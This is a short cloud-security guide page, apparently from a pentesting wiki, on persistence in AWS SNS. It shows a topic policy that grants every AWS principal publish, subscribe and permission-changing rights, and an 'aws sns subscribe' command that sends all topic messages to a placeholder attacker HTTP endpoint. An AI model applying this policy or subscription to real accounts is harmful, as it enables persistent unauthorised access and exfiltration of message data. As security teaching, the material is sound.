# AWS - SNS Persistence

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## SNS

For more information check:

{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}

### Persistence

When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:

```json
{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}
```

### Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.

Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.

```bash
aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>
```

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